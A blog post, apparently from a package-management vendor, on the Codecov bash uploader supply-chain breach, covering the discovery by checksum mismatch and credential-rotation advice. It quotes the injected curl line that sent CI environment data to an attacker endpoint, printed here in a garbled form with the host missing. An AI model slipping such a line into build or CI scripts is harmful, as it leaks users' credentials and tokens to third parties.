Thoughts On the Codecov Breach

What happened?

It was revealed just a few days ago that US Federal investigators are looking into an intrusion and insertion of malicious code into Codecov.

As many readers here will already know, Codecov is a software auditing tool that analyses your source code to check for the amount of test coverage.  The intrusion targeted the Codecov bash uploader, which is a script that provides a way to send coverage reports to Codecov.

It has been determined that attackers were able to target the bash uploader script due to an error in a Docker image creation process, which effectively leaked a secret credential. This allowed them to update the bash uploader. The malicious code added to the script scraped all environment variables that are present when the script runs and sent these to an as-yet-unidentified third party.

Specifically, the following line was added to the bash uploader:

curl -sm 0.5 -d “$(git remote -v)http:///upload/v2 || true

This means that if the bash uploader script was running as part of a CI process, then it would copy all of the environment variables that this process required (such as API keys, tokens, credentials for other required services etc), and leak them to the attackers.

Codecov found out about the unauthorized access on April 1st, but their investigation determined that beginning as far back as January 31st, 2021 there were periodic unauthorized alterations of the bash uploader script.

How was it discovered?

Codecov said that a customer informed the company of the issue on April 1st after noticing a discrepancy between the SHA1 checksum for the uploader posted publicly on GitHub and the checksum calculated from the Bash Uploader they had downloaded.

Why did it take so long to discover?

Simply put - not enough people were looking and checking, or more specifically, not enough people had the correct tools and processes in place to simplify such checks.

You need a single source of truth for all packages and dependencies used in your environments. Somewhere you can check all package checksums quickly. A single pane of glass for all your software artifacts, together with a good API where you can get this information and automate your checks.

What do I do if I think I am affected?

The advice given by Codecov here is good:

We strongly recommend affected users immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.

You can easily determine any keys, credentials or tokens that may have been compromised in your CI environments by simply running the ‘env’ command in your pipelines. Any environment variables that are output should be considered possibly compromised. You should both change/rotate them and perform an audit of their use.

Summary

This underlines the importance of two things we at Cloudsmith talk about as benefits of Continuous Packaging - Provenance and Isolation.

Provenance - checking the signatures (if present) and checksums of artifacts that you consume.  This revealed that the bash uploader script had been modified.

Isolation - Keeping a cached copy of the bash uploader script allowed this customer to have a point of reference to compare the checksum with the publicly available version.

Liked this article? Don\'t be selfish (:-), share with others:   Tweet